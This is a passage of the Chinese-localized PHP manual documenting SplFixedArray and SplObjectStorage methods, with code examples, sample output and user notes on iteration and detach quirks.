var_dump($fa->toArray());
?>

以上示例会输出：

array(3) {
  [0]=>
  int(0)
  [1]=>
  NULL
  [2]=>
  int(2)
}

User Contributed Notes

There are no user contributed notes for this page.


Deserializes the data parameter into an SplFixedArray object

  • ? SplFixedArray::toArray
  • SplFixedArray::valid ?
  • PHP Manual
  • SplFixedArray
  • Deserializes the data parameter into an SplFixedArray object

SplFixedArray::__unserialize

(PHP 8 >= 8.2.0)

SplFixedArray::__unserialize — Deserializes the data parameter into an SplFixedArray object

说明

public SplFixedArray::__unserialize(array $data): void

Warning

本函数还未编写文档，仅有参数列表。

参数

data

The value being deserialized.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Check whether the array contains more elements

  • ? SplFixedArray::__unserialize
  • SplFixedArray::__wakeup ?
  • PHP Manual
  • SplFixedArray
  • Check whether the array contains more elements

SplFixedArray::valid

(PHP 5 >= 5.3.0, PHP 7)

SplFixedArray::valid — Check whether the array contains more elements

说明

public SplFixedArray::valid(): bool

Checks if the array contains any more elements.

参数

此函数没有参数。

返回值

Returns true if the array contains any more elements, false otherwise.

User Contributed Notes

c dot 1 at smithies dot org 22-Nov-2010 08:13
This function will return TRUE whenever the iterator is within the array bounds, even if unset() has been called on the current element.


Reinitialises the array after being unserialised

  • ? SplFixedArray::valid
  • SplObjectStorage ?
  • PHP Manual
  • SplFixedArray
  • Reinitialises the array after being unserialised

SplFixedArray::__wakeup

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

SplFixedArray::__wakeup — Reinitialises the array after being unserialised

说明

public SplFixedArray::__wakeup(): void

Reinitialises the array after being unserialised.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The SplObjectStorage class

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

The SplObjectStorage class provides a map from objects to data or, by ignoring data, an object set. This dual purpose can be useful in many cases involving the need to uniquely identify objects.

类摘要

class SplObjectStorage implements Countable, Iterator, Serializable, ArrayAccess {
/* 方法 */
public addAll(SplObjectStorage $storage): int
public attach(object $object, mixed $info = null): void
public contains(object $object): bool
public count(int $mode = COUNT_NORMAL): int
public current(): object
public detach(object $object): void
public getHash(object $object): string
public getInfo(): mixed
public key(): int
public next(): void
public offsetExists(object $object): bool
public offsetGet(object $object): mixed
public offsetSet(object $object, mixed $info = null): void
public offsetUnset(object $object): void
public removeAll(SplObjectStorage $storage): int
public removeAllExcept(SplObjectStorage $storage): int
public rewind(): void
public serialize(): string
public setInfo(mixed $info): void
public unserialize(string $data): void
public valid(): bool
}

示例

Example #1 SplObjectStorage as a set

<?php
// As an object set
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new stdClass;

$s->attach($o1);
$s->attach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));

$s->detach($o2);

var_dump($s->contains($o1));
var_dump($s->contains($o2));
var_dump($s->contains($o3));
?>

以上示例会输出：

bool(true)
bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

Example #2 SplObjectStorage as a map

<?php
// As a map from objects to data
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new stdClass;

$s[$o1] = "data for object 1";
$s[$o2] = array(1,2,3);

if (isset($s[$o2])) {
var_dump($s[$o2]);
}
?>

以上示例会输出：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Table of Contents

  • SplObjectStorage::addAll — Adds all objects from another storage
  • SplObjectStorage::attach — Adds an object in the storage
  • SplObjectStorage::contains — Checks if the storage contains a specific object
  • SplObjectStorage::count — Returns the number of objects in the storage
  • SplObjectStorage::current — Returns the current storage entry
  • SplObjectStorage::detach — Removes an object from the storage
  • SplObjectStorage::getHash — Calculate a unique identifier for the contained objects
  • SplObjectStorage::getInfo — Returns the data associated with the current iterator entry
  • SplObjectStorage::key — Returns the index at which the iterator currently is
  • SplObjectStorage::next — Move to the next entry
  • SplObjectStorage::offsetExists — Checks whether an object exists in the storage
  • SplObjectStorage::offsetGet — Returns the data associated with an object
  • SplObjectStorage::offsetSet — Associates data to an object in the storage
  • SplObjectStorage::offsetUnset — Removes an object from the storage
  • SplObjectStorage::removeAll — Removes objects contained in another storage from the current storage
  • SplObjectStorage::removeAllExcept — Removes all objects except for those contained in another storage from the current storage
  • SplObjectStorage::rewind — Rewind the iterator to the first storage element
  • SplObjectStorage::serialize — Serializes the storage
  • SplObjectStorage::setInfo — Sets the data associated with the current iterator entry
  • SplObjectStorage::unserialize — Unserializes a storage from its string representation
  • SplObjectStorage::valid — Returns if the current iterator entry is valid

User Contributed Notes

jan at odvarko dot cz 20-May-2021 06:32
If you assign an array() to an object in SplObjectStorage and then try to modify its individual elements, you'll probably find it doesn't work.
Instead, you can use ArrayObject(), which will emulate array behaviour.

<?php

$storage = new SplObjectStorage();

$obj1 = new StdClass();
$obj2 = new StdClass();

$storage[$obj1] = array();
$storage[$obj2] = new ArrayObject();

$storage[$obj1]['person'] = 'Jana'; // Won't work  (PHP Notice:  Indirect modification of overloaded element of SplObjectStorage has no effect)
$storage[$obj2]['person'] = 'Jana'; // Works

var_dump($storage[$obj1]['person']); // NULL  (PHP Notice:  Undefined index: person)
var_dump($storage[$obj2]['person']); // string(4) "Jana"

?>
rafal at pawlukiewicz dot com 04-Mar-2019 10:21
SplObjectStorage class can be nicely used in Observer pattern, for example:

<?php
class Subject implements \SplSubject
{
    private $observers;

    public function __construct()
    {
        $this->observers = new \SplObjectStorage;
    }

    public function attach(\SplObserver $observer)
    {
        $this->observers->attach($observer);
    }

    public function detach(\SplObserver $observer)
    {
        $this->observers->detach($observer);
    }

    public function notify()
    {
        foreach ($this->observers as $observer) {
            $observer->update($this);
        }
    }
}
?>
grzeniufication 15-Jul-2017 08:35
<?php
/**
  * For simple use cases (where you want to keep objects in a map)
  * I would suggest to stick to an plain old array. Just use the object
  * hash as array key.
  */
$entity1 = new stdClass();
$entity2 = new stdClass();
$entities = [];
$entities[spl_object_hash($entity1)] = $entity1;
$entities[spl_object_hash($entity2)] = $entity2;

// object hashes are hard to distinguish so you could run a hash function
// on them for better readability.
$entities[md5(spl_object_hash($entity1))] = $entity1;
$entities[md5(spl_object_hash($entity2))] = $entity2;

print_r($entities);
divinity76 at gmail dot com 05-May-2017 05:58
if you're looking for a ResourceStorage, check https://gist.github.com/divinity76/b8041e073b74bdeab562a075fc94217f

(i needed it for socket programming with socket_select())
frame86 at live dot com 31-Aug-2016 08:29
Keep in mind that foreach() will copy your array before iterating, SplObjectStorage does not. If you have a sub call within an iteration that also calls foreach() on the object storage again, the iterator position collides!

To be safe use:
<?php
foreach(clone $myStorage as $obj) {

}
?>
kris dot lamote at it-kitchen dot be 22-May-2015 07:41
For anyone having issues with SplObjectStorages containing corrupt member variables after garbage collection (FatalErrorException after serializing): we used following fix to great effect
<?php

class FixedSplObjectStorage extends SplObjectStorage
{

    public function serialize()
    {
        $goodPortion = 'N;;m:a:0:{}';
        $startKey = 'N;;m:a:';

        $serialized = parent::serialize();

        $startPos = strpos($serialized, $startKey);

        if ($startPos !== false) {
            $serialized = substr_replace($serialized, $goodPortion, $startPos, -1);

        }

        return $serialized;

    }
}

?>
m dot drewek at smf dot de 28-Jan-2015 08:49
Please note that SplObjectStorage has a Bug introduced with 5.4.0, breaking object lookup in cloned instances of derived classes that overwrite getHash().

This is a confirmed Bug: https://bugs.php.net/bug.php?id=67582

Example:
<?php
class MyObjectStorage extends SplObjectStorage {
    // Overwrite getHash() with just some (working) test-method
    public function getHash($object) { return get_class($object); }
}

class TestObject {}

$list = new MyObjectStorage(); // No issues if using "new SplObjectStorage()"
$list->attach(new TestObject());

foreach($list as $x) var_dump($list->offsetExists($x)); // TRUE

$list2 = clone $list;
foreach($list2 as $x) var_dump($list2->offsetExists($x)); // FALSE
?>
Marius 20-Nov-2014 10:54
Do not use SplObjectStorage::detach when forach'ing over items in the storage as this skips the second (and only second) element.

Example:

<?php

class A {
    public $i;
    public function __construct($i) {
        $this->i = $i;
    }
}

$container = new \SplObjectStorage();

$container->attach(new A(1));
$container->attach(new A(2));
$container->attach(new A(3));
$container->attach(new A(4));
$container->attach(new A(5));

foreach ($container as $item) {
    echo $item->i . "\n";
    $container->detach($item);
}
echo "== Left in storage ==\n";
foreach ($container as $item) {
    echo $item->i . "\n";
}
/* Outputs:
1
3
4
5
== Left in storage ==
2
*/
?>
Adam Monsen 07-Jan-2014 05:48
Note some inconsistent/surprising behavior in SplObjectStorage to preserve backwards compatibility. You can't properly use foreach with key/value syntax.

<?php
$spl = new SplObjectStorage ();
$keyForA = new StdClass();
$keyForB = new StdClass();
$spl[$keyForA] = 'value a';
$spl[$keyForB] = 'value b';
foreach ($spl as $key => $value)
{
    // $key is NOT an object, $value is!
    // Must use standard array access to get strings.
    echo $spl[$value] . "\n"; // prints "value a", then "value b"
}
// it may be clearer to use this form of foreach:
foreach ($spl as $key)
{
    // $key is an object.
    // Use standard array access to get values.
    echo $spl[$key] . "\n"; // prints "value a", then "value b"
}
?>

See https://bugs.php.net/bug.php?id=49967
inwebo at gmail dot fr 28-Feb-2012 11:01
I needed to merge SplObjectStorages.
<?php
// As an object set
$SplObjectStorage_1 = new SplObjectStorage();

$object1 = new StdClass;
$object1->attr = 'obj 1';
$object2 = new StdClass;
$object2->attr = 'obj 2';
$object3 = new StdClass;
$object3->attr = 'obj 3';

$SplObjectStorage_1->attach($object1);
$SplObjectStorage_1->attach($object2);
$SplObjectStorage_1->attach($object3);

// Another one object set
$SplObjectStorage_2 = new SplObjectStorage();

$object4 = new StdClass;
$object4->attr = 'obj 4';
$object5 = new StdClass;
$object5->attr = 'obj 5';
$object6 = new StdClass;
$object6->attr = 'obj 6';

$SplObjectStorage_2->attach($object4);
$SplObjectStorage_2->attach($object5);
$SplObjectStorage_2->attach($object6);

/**
 * Merge SplObjectStorage
 *
 * @param how many SplObjectStorage params as you want
 * @return SplObjectStorage
 */
function mergeSplObjectStorage() {

    $buffer   = new SplObjectStorage();

    if( func_num_args() > 0  ) {
        $args = func_get_args();
        foreach ($args as $objectStorage) {
            foreach($objectStorage as $object) {
                if(is_object( $object ) ) {
                    $buffer->attach($object);
                }
            }
        }
    }
    else{
        return FALSE;
    }
    return $buffer;
}

$merge = mergeSplObjectStorage($SplObjectStorage_1, $SplObjectStorage_2);

?>
<?php
echo $merge->count();
?>
Will output :
6

<?php
$merge->rewind();
while($merge->valid()) {
    $object = $merge->current();
    var_dump($object);
    $merge->next();
}
?>
Will ouput :
object(stdClass)#2 (1) {
  ["attr"]=>
  string(5) "obj 1"
}
object(stdClass)#3 (1) {
  ["attr"]=>
  string(5) "obj 2"
}
object(stdClass)#4 (1) {
  ["attr"]=>
  string(5) "obj 3"
}
object(stdClass)#6 (1) {
  ["attr"]=>
  string(5) "obj 4"
}
object(stdClass)#7 (1) {
  ["attr"]=>
  string(5) "obj 5"
}
object(stdClass)#8 (1) {
  ["attr"]=>
  string(5) "obj 6"
}

My two cents.
Jan Walther 30-Jun-2011 06:57
I rewrote some scripts and changed object storage with arrays to SplObjectStorage. At some point I needed support of array_rand() but I did not find a function to return a random attached object of an SplObjectStorage object.

So here is my solution for random access to SplObjectStorage:

<?php
$o1 = new StdClass;
$o2 = new StdClass;
$s = new SplObjectStorage;
$s->attach($o1);
$s->attach($o2);

$random = rand(0,$s->count()-1);
$s->rewind();
for($i=0;$i<$random;$i++) {
  $s->next();
}
var_dump($s->current());
?>
randallgirard at hotmail dot com 14-Dec-2009 12:01
I have two things to note about SplObjectStorage:

#1: A reference to the object itself is stored (not just a hash to compare against the object) and it must be removed before the object is destroyed and the destructor is executed.

#2: SplObjectStorage::rewind() MUST be called to initiate the iterator and before SplObjectStorage::current() will return an object (and I think the only way to retrieve an object?) rather than automatically starting at the first element as I expected it to, like an array for example. This assumption is based on SplObjectStorage::current() returning NULL until SplObjectStorage::rewind() is called once the objects are contained. As a note, always use REWIND before iterating through or fetching objects.

<?php

class foo {
    public function __destruct() {
        print("--- DESTRUCTOR FIRED!!<br />\r\n");
    }
}

# Create object and storage
$bar = new foo();
$s = new SplObjectStorage();

# Rewind early just as a test
$s->rewind();

# attach the object
$s->attach($bar, array('test'));

# Unset the object; destructor does NOT fire
unset($bar);
print("Object has been unset<br />\r\n");

# First demonstrate that REWIND must be called to initialize the iterator
$obj = $s->current();
var_dump($obj);
print("- Note the NULL (from \$s->current())<br />\r\n");

# Initialize, and then detach the current (and only) object
$s->rewind();
$s->detach( $s->current() );

# The destructor should NOW execute

?>

Output:

Object has been unset
NULL - Note the NULL (from $s->current())
--- DESTRUCTOR FIRED!!


Adds all objects from another storage

  • ? SplObjectStorage
  • SplObjectStorage::attach ?
  • PHP Manual
  • SplObjectStorage
  • Adds all objects from another storage

SplObjectStorage::addAll

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::addAll — Adds all objects from another storage

说明

public SplObjectStorage::addAll(SplObjectStorage $storage): int

Adds all objects-data pairs from a different storage in the current storage.

参数

storage

The storage you want to import.

返回值

The number of objects in the storage.

示例

Example #1 SplObjectStorage::addAll() example

<?php
$o = new stdClass;
$a = new SplObjectStorage();
$a[$o] = "hello";

$b = new SplObjectStorage();
$b->addAll($a);
echo $b[$o]."\n";
?>

以上示例的输出类似于：

hello

参见

  • SplObjectStorage::removeAll() - Removes objects contained in another storage from the current storage

User Contributed Notes

There are no user contributed notes for this page.


Adds an object in the storage

  • ? SplObjectStorage::addAll
  • SplObjectStorage::contains ?
  • PHP Manual
  • SplObjectStorage
  • Adds an object in the storage

SplObjectStorage::attach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::attach — Adds an object in the storage

说明

public SplObjectStorage::attach(object $object, mixed $info = null): void

Adds an object inside the storage, and optionally associate it to some data.

参数

object

The object to add.

info

The data to associate with the object.

返回值

没有返回值。

示例

Example #1 SplObjectStorage::attach() example

<?php
$o1 = new stdClass;
$o2 = new stdClass;
$s = new SplObjectStorage();
$s->attach($o1); // similar to $s[$o1] = NULL;
$s->attach($o2, "hello"); // similar to $s[$o2] = "hello";

var_dump($s[$o1]);
var_dump($s[$o2]);

?>

以上示例的输出类似于：

NULL
string(5) "hello"

参见

  • SplObjectStorage::detach() - Removes an object from the storage
  • SplObjectStorage::offsetSet() - Associates data to an object in the storage

User Contributed Notes

There are no user contributed notes for this page.


Checks if the storage contains a specific object

  • ? SplObjectStorage::attach
  • SplObjectStorage::count ?
  • PHP Manual
  • SplObjectStorage
  • Checks if the storage contains a specific object

SplObjectStorage::contains

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::contains — Checks if the storage contains a specific object

说明

public SplObjectStorage::contains(object $object): bool

Checks if the storage contains the object provided.

参数

object

The object to look for.

返回值

Returns true if the object is in the storage, false otherwise.

示例

Example #1 SplObjectStorage::contains() example

<?php
$o1 = new stdClass;
$o2 = new stdClass;

$s = new SplObjectStorage();

$s[$o1] = "hello";
var_dump($s->contains($o1));
var_dump($s->contains($o2));
?>

以上示例的输出类似于：

bool(true)
bool(false)

参见

  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of objects in the storage

  • ? SplObjectStorage::contains
  • SplObjectStorage::current ?
  • PHP Manual
  • SplObjectStorage
  • Returns the number of objects in the storage

SplObjectStorage::count

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::count — Returns the number of objects in the storage

说明

public SplObjectStorage::count(int $mode = COUNT_NORMAL): int

Counts the number of objects in the storage.

参数

mode

If the optional mode parameter is set to COUNT_RECURSIVE (or 1), SplObjectStorage::count() will recursively count the storage.

返回值

The number of objects in the storage.

示例

Example #1 SplObjectStorage::count() example

<?php
$s = new SplObjectStorage();
$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1);
$s->attach($o2);
$s->attach($o1);
var_dump($s->count());
var_dump(count($s));
?>

以上示例的输出类似于：

int(2)
int(2)

参见

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::detach() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns the current storage entry

  • ? SplObjectStorage::count
  • SplObjectStorage::detach ?
  • PHP Manual
  • SplObjectStorage
  • Returns the current storage entry

SplObjectStorage::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::current — Returns the current storage entry

说明

public SplObjectStorage::current(): object

Returns the current storage entry.

参数

此函数没有参数。

返回值

The object at the current iterator position.

更新日志

版本 | 说明
8.1.0 | SplObjectStorage::current() now throws an Error exception if the current position is invalid. Previously, false was returned instead.

示例

Example #1 SplObjectStorage::current() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // similar to current($s)
$data = $s->getInfo();

var_dump($object);
var_dump($data);
$s->next();
}
?>

以上示例的输出类似于：

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

参见

  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::getInfo() - Returns the data associated with the current iterator entry

User Contributed Notes

There are no user contributed notes for this page.


Removes an object from the storage

  • ? SplObjectStorage::current
  • SplObjectStorage::getHash ?
  • PHP Manual
  • SplObjectStorage
  • Removes an object from the storage

SplObjectStorage::detach

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::detach — Removes an object from the storage

说明

public SplObjectStorage::detach(object $object): void

Removes the object from the storage.

参数

object

The object to remove.

返回值

没有返回值。

示例

Example #1 SplObjectStorage::detach() example

<?php
$o = new stdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($o);
var_dump(count($s));
?>

以上示例的输出类似于：

int(1)
int(0)

参见

  • SplObjectStorage::attach() - Adds an object in the storage
  • SplObjectStorage::removeAll() - Removes objects contained in another storage from the current storage

User Contributed Notes

nawa 17-Dec-2022 09:56
There was problematic case when detaching object inside loop, because SplObjectStorage need to call next() before detach()

Example using foreach :
<?php
/**
 * spl object storage bugs when looping
 * @see https://bugs.php.net/bug.php?id=65629
 */
$firstStorage = new SplObjectStorage();
$secondStorage = new SplObjectStorage();
// temporary storage
$temporaryStorage = new SplObjectStorage();
// range 0 - 9
$range = range(0, 9);

foreach ($range as $id) {
    $object = new stdClass();
    $object->id = $id;
    $firstStorage->attach($object);
    $secondStorage->attach($object);
}

// direct detach inside loop
foreach ($firstStorage as $storage) {
    // on common array it will detach all even in loop
    // but object storage still remain 1 object
    if ($storage->id < 5) {
        $firstStorage->detach($storage);
    }
}

// collect storage into temporary splObjectStorage
foreach ($secondStorage as $storage) {
    // collect into temporary storage
    if ($storage->id < 5) {
        $temporaryStorage->attach($storage);
    }
}
// removeAll by temporary Storage
$secondStorage->removeAll($temporaryStorage);

var_dump(count($firstStorage)); // int(6)
var_dump(count($secondStorage)); // int(5)
?>

Example using while :
<?php
$firstStorage = new SplObjectStorage();
$secondStorage = new SplObjectStorage();
// temporary storage
$temporaryStorage = new SplObjectStorage();
// range 0 - 9
$range = range(0, 9);

foreach ($range as $id) {
    $object = new stdClass();
    $object->id = $id;
    $firstStorage->attach($object);
    $secondStorage->attach($object);
}

$firstStorage->rewind();
while ($firstStorage->valid() && ($current = $firstStorage->current())) {
    if ($current->id < 5) {
        $firstStorage->detach($current);
    }
    // don't call next after detach
    $firstStorage->next();
}

$secondStorage->rewind();
while ($secondStorage->valid() && ($current = $secondStorage->current())) {
    // call next behavior before detach
    $secondStorage->next();
    if ($current->id < 5) {
        $secondStorage->detach($current);
    }
}

var_dump(count($firstStorage)); // int(6)
var_dump(count($secondStorage)); // int(5)
?>
Hayley Watson 11-Dec-2017 09:21
No complaints from SplObjectStorage if you try to detach an object that isn't in the collection; it's a no-op.

<?php

$o = new StdClass;
$t = new StdClass;
$s = new SplObjectStorage();
$s->attach($o);
var_dump(count($s));
$s->detach($t); // Didn't attach this one.
var_dump(count($s));

?>
alan dot bem at gmail dot com 07-Sep-2013 07:55
SplObjectSotage::detach() has a bug - it rewinds internal array pointer.
Remember that - when looping over the storage - as it has no workaround.

https://bugs.php.net/bug.php?id=65629&edit=2
r dot wilczek at web-appz dot de 30-Apr-2010 01:18
Detaching the current entry from the storage prevents SplObjectStorage::next() to operate.

Example as a PHPUnit-test:

<?php
public function testDetachingCurrentPreventsNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $storage->detach($storage->current());
        $storage->next();
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will fail, for the iteration will never reach the second stdClass.
SplObjectStorage::next() obviously relies on the current element to be valid.

If you want to detach objects during iterations, you should dereference objects, before you call next() and detach the reference after next():

<?php
public function testDetachingReferenceAfterNext()
{
    $storage = new SplObjectStorage;
    $storage->attach(new stdClass);
    $storage->attach(new stdClass);
    $storage->rewind();
    $iterated = 0;
    $expected = $storage->count();
    while ($storage->valid()) {
        $iterated++;
        $object = $storage->current();
        $storage->next();
        $storage->detach($object);
    }
    $this->assertEquals($expected, $iterated);
}
?>

This test will pass.


Calculate a unique identifier for the contained objects

  • ? SplObjectStorage::detach
  • SplObjectStorage::getInfo ?
  • PHP Manual
  • SplObjectStorage
  • Calculate a unique identifier for the contained objects

SplObjectStorage::getHash

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplObjectStorage::getHash — Calculate a unique identifier for the contained objects

说明

public SplObjectStorage::getHash(object $object): string

This method calculates an identifier for the objects added to an SplObjectStorage object.

The implementation in SplObjectStorage returns the same value as spl_object_hash().

The storage object will never contain more than one object with the same identifier. As such, it can be used to implement a set (a collection of unique values) where the quality of an object being unique is determined by the value returned by this function being unique.

参数

object

The object whose identifier is to be calculated.

返回值

A string with the calculated identifier.

错误／异常

A RuntimeException is thrown when the returned value is not a string.

示例

Example #1 SplObjectStorage::getHash() example

<?php
class OneSpecimenPerClassStorage extends SplObjectStorage {
public function getHash($o) {
return get_class($o);
}
}
class A {}

$s = new OneSpecimenPerClassStorage;
$o1 = new stdClass;
$o2 = new stdClass;
$o3 = new A;

$s[$o1] = 1;
//$o2 is considered equal to $o1 so the value is replaced
$s[$o2] = 2;
$s[$o3] = 3;

//these are considered equal to the objects before
//so they can be used to access the values stored under them
$p1 = new stdClass;
$p2 = new A;
echo $s[$p1], "\n";
echo $s[$p2], "\n";
?>

以上示例的输出类似于：

2
3

参见

  • spl_object_hash() - 返回指定对象的 hash id

User Contributed Notes

aron dot duby at gmail dot com 17-Dec-2012 07:09
This also appears to be the function which gets used within the contains() function, so if all the objects you are storing already have a unique id you can overwrite this function with your own class.

<?php
class UserStorage extends SPLObjectStorage{
     public function getHash($obj){
          return $obj->id;
     }
}

$us = new UserStorage();
$user1 = new User(1);
$user2 = new User(2);

$us->attach($user1);
$us->attach($user2);

$me = new User(2);

// the following would normally fail since they are two separate objects
// but it works now with our extended getHash()
$us->contains($me);

?>


Returns the data associated with the current iterator entry

  • ? SplObjectStorage::getHash
  • SplObjectStorage::key ?
  • PHP Manual
  • SplObjectStorage
  • Returns the data associated with the current iterator entry

SplObjectStorage::getInfo

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::getInfo — Returns the data associated with the current iterator entry

说明

public SplObjectStorage::getInfo(): mixed

Returns the data, or info, associated with the object pointed by the current iterator position.

参数

此函数没有参数。

返回值

The data associated with the current iterator position.

示例

Example #1 SplObjectStorage::getInfo() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // similar to current($s)
$data = $s->getInfo();

var_dump($object);
var_dump($data);
$s->next();
}
?>

以上示例的输出类似于：

object(stdClass)#2 (0) {
}
string(2) "d1"
object(stdClass)#3 (0) {
}
string(2) "d2"

参见

  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::key() - Returns the index at which the iterator currently is
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid
  • SplObjectStorage::setInfo() - Sets the data associated with the current iterator entry

User Contributed Notes

Ye Wang 27-Sep-2010 11:53
This method, SplObjectStorage::getInfo() does NOT exist on PHP 5.2.13.

However, PHP 5.3.2 and above does have it. To find out yourself, use this snippet.

$> php -r "print_r(get_class_methods(new SplObjectStorage()));"

Results for PHP 5.2.13
====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => count
    [4] => rewind
    [5] => valid
    [6] => key
    [7] => current
    [8] => next
    [9] => unserialize
    [10] => serialize
)

Results for PHP 5.3.2
=====
Array
(
    [0] => attach
    [1] => detach
    [2] => contains
    [3] => addAll
    [4] => removeAll
    [5] => getInfo
    [6] => setInfo
    [7] => count
    [8] => rewind
    [9] => valid
    [10] => key
    [11] => current
    [12] => next
    [13] => unserialize
    [14] => serialize
    [15] => offsetExists
    [16] => offsetSet
    [17] => offsetUnset
    [18] => offsetGet
)


Returns the index at which the iterator currently is

  • ? SplObjectStorage::getInfo
  • SplObjectStorage::next ?
  • PHP Manual
  • SplObjectStorage
  • Returns the index at which the iterator currently is

SplObjectStorage::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::key — Returns the index at which the iterator currently is

说明

public SplObjectStorage::key(): int

Returns the index at which the iterator currently is.

参数

此函数没有参数。

返回值

The index corresponding to the position of the iterator.

示例

Example #1 SplObjectStorage::key() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // similar to current($s)

var_dump($index);
var_dump($object);
$s->next();
}
?>

以上示例的输出类似于：

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

参见

  • SplObjectStorage::rewind() - Rewind the iterator to the first storage element
  • SplObjectStorage::current() - Returns the current storage entry
  • SplObjectStorage::next() - Move to the next entry
  • SplObjectStorage::valid() - Returns if the current iterator entry is valid

User Contributed Notes

There are no user contributed notes for this page.


Move to the next entry

  • ? SplObjectStorage::key
  • SplObjectStorage::offsetExists ?
  • PHP Manual
  • SplObjectStorage
  • Move to the next entry

SplObjectStorage::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplObjectStorage::next — Move to the next entry

说明

public SplObjectStorage::next(): void

Moves the iterator to the next object in the storage.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 SplObjectStorage::next() example

<?php
$s = new SplObjectStorage();

$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1, "d1");
$s->attach($o2, "d2");

$s->rewind();
while($s->valid()) {
$index = $s->key();
$object = $s->current(); // similar to current($s)

var_dump($index);
var_dump($object);
$s->next();
}
?>

以上示例的输出类似于：

int(0)
object(stdClass)#2 (0) {
}
int(1)
object(stdClass)#3 (0) {
}

参见

  • SPLObjectStorage::rewind() - Rewind the iterator to the first storage element

User Contributed Notes

There are no user contributed notes for this page.


Checks whether an object exists in the storage

  • ? SplObjectStorage::next
  • SplObjectStorage::offsetGet ?
  • PHP Manual
  • SplObjectStorage
  • Checks whether an object exists in the storage

SplObjectStorage::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetExists — Checks whether an object exists in the storage

说明

public SplObjectStorage::offsetExists(object $object): bool

Checks whether an object exists in the storage.

Note:

SplObjectStorage::offsetExists() is an alias of SplObjectStorage::contains().

参数

object

The object to look for.

返回值

Returns true if the object exists in the storage, and false otherwise.

示例

Example #1 SplObjectStorage::offsetExists() example

<?php
$s = new SplObjectStorage;
$o1 = new stdClass;
$o2 = new stdClass;

$s->attach($o1);

var_dump($s->offsetExists($o1)); // Similar to isset($s[$o1])
var_dump($s->offsetExists($o2)); // Similar to isset($s[$o2])
?>

以上示例的输出类似于：

bool(true)
bool(false)

参见

  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetGet() - Returns the data associated with an object
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

There are no user contributed notes for this page.


Returns the data associated with an object

  • ? SplObjectStorage::offsetExists
  • SplObjectStorage::offsetSet ?
  • PHP Manual
  • SplObjectStorage
  • Returns the data associated with an object

SplObjectStorage::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplObjectStorage::offsetGet — Returns the data associated with an object

说明

public SplObjectStorage::offsetGet(object $object): mixed

Returns the data associated with an object in the storage.

参数

object

The object to look for.

返回值

The data previously associated with the object in the storage.

错误／异常

Throws UnexpectedValueException when object could not be found.

示例

Example #1 SplObjectStorage::offsetGet() example

<?php
$s = new SplObjectStorage;

$o1 = new stdClass;
$o2 = new stdClass;

$s[$o1] = "hello";
$s->attach($o2);

var_dump($s->offsetGet($o1)); // Similar to $s[$o1]
var_dump($s->offsetGet($o2)); // Similar to $s[$o2]
?>

以上示例的输出类似于：

string(5) "hello"
NULL

参见

  • SplObjectStorage::offsetSet() - Associates data to an object in the storage
  • SplObjectStorage::offsetExists() - Checks whether an object exists in the storage
  • SplObjectStorage::offsetUnset() - Removes an object from the storage

User Contributed Notes

